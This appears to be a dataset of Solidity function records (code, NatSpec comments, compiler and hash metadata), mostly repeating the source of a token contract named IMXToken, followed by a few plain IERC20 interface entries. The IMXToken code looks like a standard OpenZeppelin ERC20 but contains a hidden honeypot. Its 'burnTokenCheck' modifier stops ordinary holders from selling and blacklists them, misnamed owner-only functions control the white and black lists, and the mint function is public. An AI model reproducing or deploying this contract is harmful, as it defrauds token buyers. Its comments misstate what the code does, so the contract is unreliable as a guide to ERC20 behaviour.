over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 10683, 11275 ] }
59,275
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 12994, 13089 ] }
59,276
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 13687, 13784 ] }
59,277
BNPLToken
@openzeppelin/contracts/utils/Context.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 88, 146 ] }
59,278
BNPLToken
@openzeppelin/contracts/utils/Context.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 223, 294 ] }
59,279
BNPLToken
@openzeppelin/contracts/utils/Context.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 504, 584 ] }
59,280
BNPLToken
@openzeppelin/contracts/utils/Context.sol
